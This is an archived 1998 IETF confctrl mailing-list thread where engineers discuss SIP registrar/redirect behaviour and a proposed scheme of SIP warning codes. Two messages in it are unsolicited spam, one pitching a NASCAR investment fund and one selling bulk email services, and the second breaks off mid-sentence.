From confctrl-owner  Wed Jul  8 20:06:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA26319
	for confctrl-outgoing; Wed, 8 Jul 1998 20:06:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA26308
	for <confctrl@zephyr.isi.edu>; Wed, 8 Jul 1998 20:06:45 -0700 (PDT)
Received: from mail.goodbrgr.com (midtown-dnnqo-080.compuserve.net [209.154.70.80] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA13254;
	Wed, 8 Jul 1998 20:06:37 -0700 (PDT)
Message-ID: <41950.12820@mail.goodbrgr.com>
From: "msbiz432d10319@msn.com" <msbiz432d10319@msn.com>
Reply-To: nascar001@hotmail.com
Subject: A NASCAR Related Innvestment (4448)
Date: Wed, 07 Jul 1998 23:06:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Looking for a unique investment opportunity?

Now you can participate in the fastest growing spectator sport in the United States. 
NASCAR racing is getting so big the action is spilling out of the super speedways and
onto Wall Street.

In 1997, NASCAR event attendance reached 16 million with 150 million T.V. viewers. 
New tracks have opened in the west, with NASCAR adding five events in new regions.  It
has captured a vast audience looking for a sport in which athletes sign autographs for free
and still seem like regular folks.

The explosive growth of NASCAR popularity, coupled with the brand loyalty among fans,
has created an exciting investment opportunity.  The Motorsports Associated Growth and
Income Fund seeks to allow investors the ability to take ownership in the sport of
NASCAR.
The mutual fund offers investments in companies that derive their primary revenues from
operations in auto racing.  The fund also invests in companies that host or sponsor racing
events.  With widespread interest, big and small companies are lapping into this hot
market.  It is no longer just a venue for beer, tobacco and tires; 70 of the Fortune 500
companies from Kodak and McDonald's are taking notice to the exciting growth prospects
of this sport.

For more information please click here    mailto:nascar001@hotmail.com

Our research indicates that the following information may be useful to you, if not please
click here to be removed from our database. Deleting this message will not
inform us of your request. Thank you.   mailto:nascar001@hotmail.com
******************************
62547

From confctrl-owner  Mon Jul 13 09:25:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10541
	for confctrl-outgoing; Mon, 13 Jul 1998 09:25:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10536
	for <confctrl@zephyr.isi.edu>; Mon, 13 Jul 1998 09:25:28 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17907
	for <confctrl@ISI.EDU>; Mon, 13 Jul 1998 09:25:26 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <3TYGPX0H>; Mon, 13 Jul 1998 12:22:49 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912EDB7@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: SIP Registrar+Redirect behaviour
Date: Mon, 13 Jul 1998 12:22:47 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id JAA10537
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have a small question concerning the behaviour of a SIP
registrar&redirect server that receives a REGISTER request with no
Location header.  Where will the call be redirected when the registrar
receives an Invite?  The draft states that "future call control requests
will be directed to the network source address of the REGISTER request
(the via field), using the To address in the REGISTER request as the
Request-URI."  It makes no sense for the redirect server to copy the
"To" header (of the REGISTER request) in the "Location" Header of the
301/302 reply (unless there is something I'm missing ;) ).  

This works fine for a Proxy, but the redirect server won't know where to
redirect the call.  Should it returns "501 Not Implemented" when
receiving such a registration?  Should it try to build a valid SIP uri
from the Via and To header?

EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

From confctrl-owner  Mon Jul 13 11:14:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA13089
	for confctrl-outgoing; Mon, 13 Jul 1998 11:14:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13081
	for <confctrl@zephyr.isi.edu>; Mon, 13 Jul 1998 11:14:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA29138
	for <confctrl@ISI.EDU>; Mon, 13 Jul 1998 11:14:03 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Jul 13 14:12:30 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id OAA27001;
	Mon, 13 Jul 1998 14:12:29 -0400 (EDT)
Message-ID: <35AA4D90.9F9EBA8F@dnrc.bell-labs.com>
Date: Mon, 13 Jul 1998 14:10:24 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Registrar+Redirect behaviour
References: <D1222A5B22CBD0118D8E0000C00C85E912EDB7@nettrix.mediatrix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> I have a small question concerning the behaviour of a SIP
> registrar&redirect server that receives a REGISTER request with no
> Location header.  Where will the call be redirected when the registrar
> receives an Invite?  The draft states that "future call control requests
> will be directed to the network source address of the REGISTER request
> (the via field), using the To address in the REGISTER request as the
> Request-URI."  It makes no sense for the redirect server to copy the
> "To" header (of the REGISTER request) in the "Location" Header of the
> 301/302 reply (unless there is something I'm missing ;) ).

I see two possibilities. The Location header of the 301/302 reply can
contain the username from the To field of the Register, and the IP
address from the Via:

C->S REGISTER
To: joe@a.com
Via: 10.1.1.1


A->S INVITE joe

S->A 300
Location: joe@10.1.1.1


Alternately, if we allow for non-multicast IP addresses to be included
in the maddr field:

S->A 300
Location: joe@a.com;maddr=10.1.1.1

In other words, the user@domain in the Location response is what was in
the To field of the REGISTER, and the IP address is included as a
parameter. If we do this, we might want to change the name from "maddr"
to "ipaddr".


-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jul 13 13:43:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA15957
	for confctrl-outgoing; Mon, 13 Jul 1998 13:43:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15952
	for <confctrl@zephyr.isi.edu>; Mon, 13 Jul 1998 13:43:40 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14263
	for <confctrl@ISI.EDU>; Mon, 13 Jul 1998 13:43:37 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA11663;
	Mon, 13 Jul 1998 16:43:32 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA27870;
	Mon, 13 Jul 1998 16:43:31 -0400 (EDT)
Message-ID: <35AA7173.B271FD62@cs.columbia.edu>
Date: Mon, 13 Jul 1998 16:43:31 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; U; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Eric Tremblay <etremblay@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Registrar+Redirect behaviour
References: <D1222A5B22CBD0118D8E0000C00C85E912EDB7@nettrix.mediatrix.com> <35AA4D90.9F9EBA8F@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Eric Tremblay wrote:
> >
> > I have a small question concerning the behaviour of a SIP
> > registrar&redirect server that receives a REGISTER request with no
> > Location header.  Where will the call be redirected when the registrar
> > receives an Invite?  The draft states that "future call control requests
> > will be directed to the network source address of the REGISTER request
> > (the via field), using the To address in the REGISTER request as the
> > Request-URI."  It makes no sense for the redirect server to copy the
> > "To" header (of the REGISTER request) in the "Location" Header of the
> > 301/302 reply (unless there is something I'm missing ;) ).
> 
> I see two possibilities. The Location header of the 301/302 reply can
> contain the username from the To field of the Register, and the IP
> address from the Via:
> 
> C->S REGISTER
> To: joe@a.com
> Via: 10.1.1.1
> 
> A->S INVITE joe
> 
> S->A 300
> Location: joe@10.1.1.1

That was the behavior I had in mind. It seems simplest and should cover
the common case. For more sophisticated cases, the server can always
include an explicit Location header.

> 
> Alternately, if we allow for non-multicast IP addresses to be included
> in the maddr field:
> 
> S->A 300
> Location: joe@a.com;maddr=10.1.1.1
> 
> In other words, the user@domain in the Location response is what was in
> the To field of the REGISTER, and the IP address is included as a
> parameter. If we do this, we might want to change the name from "maddr"
> to "ipaddr".
> 
> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Jul 13 14:26:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16964
	for confctrl-outgoing; Mon, 13 Jul 1998 14:26:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16959
	for <confctrl@zephyr.isi.edu>; Mon, 13 Jul 1998 14:26:37 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA18295
	for <confctrl@ISI.EDU>; Mon, 13 Jul 1998 14:26:36 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA20732; Mon, 13 Jul 1998 17:26:30 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Eric Tremblay <etremblay@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Registrar+Redirect behaviour 
In-reply-to: Your message of "Mon, 13 Jul 1998 16:43:31 EDT."
             <35AA7173.B271FD62@cs.columbia.edu> 
Date: Mon, 13 Jul 1998 17:26:30 -0400
Message-ID: <20730.900365190@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> > I have a small question concerning the behaviour of a SIP
>> > registrar&redirect server that receives a REGISTER request with no
>> > Location header.

In the interests of simplicity, shouldn't this simply be illegal and
generate "400 Bad Request"?

Mark

From confctrl-owner  Tue Jul 14 06:03:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA00497
	for confctrl-outgoing; Tue, 14 Jul 1998 06:03:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA00491
	for <confctrl@zephyr.isi.edu>; Tue, 14 Jul 1998 06:03:20 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA14994;
	Tue, 14 Jul 1998 06:03:15 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <3TYGPYHC>; Tue, 14 Jul 1998 09:00:36 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912EDBC@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Mark Handley'" <mjh@ISI.EDU>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>
Subject: RE: SIP Registrar+Redirect behaviour 
Date: Tue, 14 Jul 1998 09:00:31 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id GAA00492
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: Mark Handley [mailto:mjh@ISI.EDU]
> Sent: 13 juillet, 1998 17:27
> To: Henning Schulzrinne
> Cc: Jonathan Rosenberg; Eric Tremblay; 'confctrl@ISI.EDU'
> Subject: Re: SIP Registrar+Redirect behaviour 
> 
> 
> 
> >> > I have a small question concerning the behaviour of a SIP
> >> > registrar&redirect server that receives a REGISTER 
> request with no
> >> > Location header.
> 
> In the interests of simplicity, shouldn't this simply be illegal and
> generate "400 Bad Request"?

As long as the behaviour of a registrar used with a proxy or a redirect
stays the same, I'm happy :)

Henning+Jonathan agrees that the registrar should build a SIP address
from the To and Via headers.  This seemed to me, at first sight, to be a
little bit more complicated than it should.  But thinking again, either
the registrar or the UAC will have to do this.

I'll let you gentlemens agree on this.  I see no problems with a
registrar accepting or refusing such a request, as long as everyone
agrees on the behaviour.

> 
> Mark
> 

Thank you!

EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

From confctrl-owner  Tue Jul 14 18:32:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA18652
	for confctrl-outgoing; Tue, 14 Jul 1998 18:32:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA18646
	for <confctrl@zephyr.isi.edu>; Tue, 14 Jul 1998 18:32:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA25490
	for <confctrl@ISI.EDU>; Tue, 14 Jul 1998 18:32:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jul 14 21:31:38 EDT 1998
Received: from ganga.dnrc.bell-labs.com (ganga.dnrc.bell-labs.com [135.180.240.22])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA08868;
	Tue, 14 Jul 1998 21:31:28 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by ganga.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id VAA28679; Tue, 14 Jul 1998 21:30:45 -0400 (EDT)
Message-ID: <35AC0644.B2F7C789@cs.columbia.edu>
Date: Tue, 14 Jul 1998 21:30:44 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Warning Codes (was: Re: Missing Warning reasons to SIP)
References: <42256636.00336DC9.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:

> 3xx    -- SIP syntax warning
> 4xx    -- SIP semantics warning (parsed the SIP fine, but didn't understand
> something)
> 5xx    -- Payload Syntax Warning (can't parse the Payload, includes "don't
> recognize the content-type of payload").
> 6xx    -- Payload Semantics warning (could parse the payload, but didn't
> understand something in it).

I don't think we really need (at least initially) any SIP
syntax/semantics warnings. The 4xx codes do just fine for indicating SIP
syntax (400) and semantics problems (such as invalid call-id, no
response that matches Accept (406) or invalid session description
(415)). Thus, the warnings are really only needed for indicating
problems with processing the session description, where more detailed
information is valuable and where multiple, "parallel" error conditions
can be more readily identified.

Given our lack of experience in this area, I would tread carefully in
trying to cover every possible condition. Warning codes can be trivially
extended by IANA registration should they be needed.

From confctrl-owner  Wed Jul 15 14:25:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA07123
	for confctrl-outgoing; Wed, 15 Jul 1998 14:25:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA07114
	for <confctrl@zephyr.isi.edu>; Wed, 15 Jul 1998 14:25:21 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09896
	for <confctrl@isi.edu>; Wed, 15 Jul 1998 14:25:15 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id AAA10036; Thu, 16 Jul 1998 00:24:36 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256642.007B452B ; Thu, 16 Jul 1998 00:26:26 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: hgs@cs.columbia.edu
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256642.006C0AC3.00@il4.vocaltec.co.il>
Date: Wed, 15 Jul 1998 23:21:33 +0200
Subject: Re: Warning Codes (was: Re: Missing Warning reasons to SIP)
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/15/98 11:21 PM


The warning codes defined at present in SIP v7 are very useful, but it does
seem to me that they fit into categories which could be useful. And once
you split them into categories you see that certain needed warnings are
missing.

The currently available warning codes from SIP v7 can be split into two
categories as follows:

Category of "resource xxx not available":

     x01 Bandwidth Not Available
     x02 Transport  Protocol Not Available
     x03 Network Protocol Not Available
     x04 Network Address Format Not Available
     x05 Media Format  Not Available
     x07 Multicast Not Available
     x08 Unicast Not Available

Category of "token not understood":
     x06  Bandwidth Description Not Understood
     x09  Other Session Description Parameter Not Understood


These are very nice, but look at x01-x05. They cover only 5 of the 7 tags
that can be registered with IANA to extend SDP. Why can't we have warnings
for the other two ("attribute" and "media type"). And why does only
"Bandwidth" merit to have two separate warnings, one for "BW not available"
and the other for "BW description not understood".  These two problems can
occur with ANY of the IANA-registerable tags.  So how's this for a more
complete scheme:

Warning code 3xx : "Something not understood"

     301 Bandwidth Type Not Understood
     302 Transport  Protocol Not Understood
     303 Network Type Not Understood
     304 Network Address Format Not Understood
     305 Media Type Not Understood
     306 Media Format Not Understood
     307 Attribute Not Understood
     390 Content-Type Not Understood
     398 Other Payload Token Not Understood
     399 Miscellaneous Not Understood

Warning code 4xx : "Resource not available"

     401 Bandwidth Not Available
     402 Transport  Protocol Not Available
     403 Network Type Not Available
     404 Network Address Format Not Available
     405 Media Type Not Available
     406 Media Format Not Available
     407 Attribute Not Available
     408 Multicast Not Available
     409 Unicast Not Available
     499 Other Resource Not Available

I have added "Media Format" warnings and "Attribute" warnings to your list.
It makes sense to have warnings so that  servers that don't understand some
newly IANA-registered tag can give useful debug information back to clients
which do.

As a very concrete example, we need to add some attributes for PINT,  and I
will want to be able to have a server which doesn't understand one of the
PINT attributes be able to report back that this is the source of the
problem.

Also, I would define two subcodes defined:  xxx.1 means that the problem
did not cause the request to fail, and xxx.2 means that the problem did
cause the request to fail.  For example, sometimes not having available a
certain media format will cause the request to fail, and sometimes it will
not. And once we have a "strict" attribute, this may determine if a xxx.1
or xxx.2 is returned.

Finally, maybe the payload of the SIP request will not be SDP, or even a
real session description. An example might be a URL (in order to transfer
the call to some URL, say a mailto: URL), or in PINT some actual MIME
content. So it is nice to have 390 and 398 in the list, to say that "390
content-type not understood: application/whatsis" or "399 Token not
understood in SIP payload application/whatsis: re12h1pq".

All these errors/warnings can be passed back and forth between the tools
that generate and read the SIP payloads, without much intervention from
SIP.

I really do think that this is the minimal set of warnings that will allow
servers to usefully interwork with new clients, as more tags are registered
with IANA. As you can see we need to register a few new tags to make PINT
work, so this is pretty practical stuff.

Scott

PS: I won't argue too strongly about the SIP warnings right now.






hgs@cs.columbia.edu on 07/15/98 03:30:44 AM

To:   Scott Petrack
cc:   confctrl@isi.edu, pint@lists.research.bell-labs.com
Subject:  Re: Warning Codes (was: Re: Missing Warning reasons to SIP)




Scott Petrack wrote:
> 3xx    -- SIP syntax warning
> 4xx    -- SIP semantics warning (parsed the SIP fine, but didn't
understand
> something)
> 5xx    -- Payload Syntax Warning (can't parse the Payload, includes
"don't
> recognize the content-type of payload").
> 6xx    -- Payload Semantics warning (could parse the payload, but didn't
> understand something in it).
I don't think we really need (at least initially) any SIP
syntax/semantics warnings. The 4xx codes do just fine for indicating SIP
syntax (400) and semantics problems (such as invalid call-id, no
response that matches Accept (406) or invalid session description
(415)). Thus, the warnings are really only needed for indicating
problems with processing the session description, where more detailed
information is valuable and where multiple, "parallel" error conditions
can be more readily identified.
Given our lack of experience in this area, I would tread carefully in
trying to cover every possible condition. Warning codes can be trivially
extended by IANA registration should they be needed.
---------
This message came from the IETF PINT Working Group Mailing List.






From confctrl-owner  Wed Jul 15 16:18:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA09940
	for confctrl-outgoing; Wed, 15 Jul 1998 16:18:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA09935
	for <confctrl@zephyr.isi.edu>; Wed, 15 Jul 1998 16:18:07 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA22605
	for <confctrl@isi.edu>; Wed, 15 Jul 1998 16:17:59 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA16744;
	Wed, 15 Jul 1998 19:17:54 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA10973;
	Wed, 15 Jul 1998 19:17:53 -0400 (EDT)
Message-ID: <35AD38A1.9779E663@cs.columbia.edu>
Date: Wed, 15 Jul 1998 19:17:53 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; U; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Warning Codes (was: Re: Missing Warning reasons to SIP)
References: <42256642.006C0AC3.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 

> Category of "resource xxx not available":
> 
>      x01 Bandwidth Not Available
>      x02 Transport  Protocol Not Available
>      x03 Network Protocol Not Available
>      x04 Network Address Format Not Available
>      x05 Media Format  Not Available
>      x07 Multicast Not Available
>      x08 Unicast Not Available
> 
> Category of "token not understood":
>      x06  Bandwidth Description Not Understood
>      x09  Other Session Description Parameter Not Understood

The distinction is not particularly useful, in my opinion. What's the
practical difference as to whether I don't "understand" what TCP means
and I don't implement it? (This difference is obviously quite important
when dealing with two-year-olds, but is undistinguishable to the remote
party.)

> 
> These are very nice, but look at x01-x05. They cover only 5 of the 7 tags
> that can be registered with IANA to extend SDP. Why can't we have warnings
> for the other two ("attribute" and "media type").

Added.

>  And why does only
> "Bandwidth" merit to have two separate warnings, one for "BW not available"
> and the other for "BW description not understood".  These two problems can
> occur with ANY of the IANA-registerable tags.  So how's this for a more
> complete scheme:

Not really. Only bandwidth is a numeric tag. It does make a difference
whether I do not support bandwidth measured in inches or whether
(possibly temporarily) I cannot grant you 500 kb/s of bandwidth. 

> 
> Also, I would define two subcodes defined:  xxx.1 means that the problem
> did not cause the request to fail, and xxx.2 means that the problem did
> cause the request to fail.  For example, sometimes not having available a
> certain media format will cause the request to fail, and sometimes it will
> not. And once we have a "strict" attribute, this may determine if a xxx.1
> or xxx.2 is returned.

This is the current first-digit distinction. I'd rather keep that to
maintain backward compability with HTTP. As I pointed out above, I
simply don't see your two categories as distinguishable in general. In
some implementations, there may be a parser and an "executive" that asks
for these, but to the outside world, this is one implementation. I will
still have to send the implementor the error message.

> 
> Finally, maybe the payload of the SIP request will not be SDP, or even a
> real session description. An example might be a URL (in order to transfer
> the call to some URL, say a mailto: URL), or in PINT some actual MIME
> content. So it is nice to have 390 and 398 in the list, to say that "390
> content-type not understood: application/whatsis" or "399 Token not
> understood in SIP payload application/whatsis: re12h1pq".

The first is error status 415. No need for a separate warning:

415 Unsupported Media Type application/whatsis

The second is a Warning: x99.

If you modularize the SIP "front end", you will always have to pass back
two pieces of information, just like nph-cgi: the status and any headers
(such as Warning).

From confctrl-owner  Wed Jul 15 19:49:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA14641
	for confctrl-outgoing; Wed, 15 Jul 1998 19:49:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA14636
	for <confctrl@zephyr.isi.edu>; Wed, 15 Jul 1998 19:49:28 -0700 (PDT)
Received: from 207.181.100.201 (stn-on98-09.netcom.ca [207.181.100.201])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA10514;
	Wed, 15 Jul 1998 19:49:15 -0700 (PDT)
Date: Wed, 15 Jul 1998 19:49:15 -0700 (PDT)
Message-Id: <199807160249.TAA10514@tnt.isi.edu>
From: factual@nll.se
To: @ISI.EDU
Subject:  Online Marketing
X-Reply-To:  medina@pobox.com
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ONLINE MARKETING - THE NEXT GENERATION OF ADVERTISING/MARKETING

Complete Online Marketing Solutions:

At Estroco Technologies, we provide all the tools necessary to promote your business/organization. 
Whether your goal is: to have people come to your website, or to prospect for orders of products, we can 
help. Note all prices are in US$ funds. We provide the following solutions:

1. Bulk Email Services

Let us send out your ad for you. It can be of any length, but must not be illegal in nature, or be of a 
pornographic nature. The list below, is a general pricing. We can customize how many you want sent out. 

100,000 - 200
200,000 - 345
400,000 - 875
600,000 - 1,100
800,000 - 1,300
1,000,000 - 1,400
2,000,000 - 2,200

2. WebSite Search Engine Promotion

One key factor for getting people to go to your website, is to have your site on search engines. The more 
search engines you are listed on, the more hits from your attended audience you'll receive. When including 
this option, we need the following criteria:

- website to be submitted
- keywords to be used(max. 25)
- Title of Web Site
- 30 word description

Also, we allow multiple submissions, which will allow maximum exposure. As well, ever so often, sites will 
bump your listing down so it is a good idea to have the same site, submitted at least once a month, to 
guarantee to maintain your listing at the top.

Our prices:

100 engines & directories - 15.00
200 engines & directories - 25.00
500 engines & directories - 45.00

3. Email Lists

Ok. So you want to do your own bulk emailings. Well, we have our own bulk emailing lists, which are 
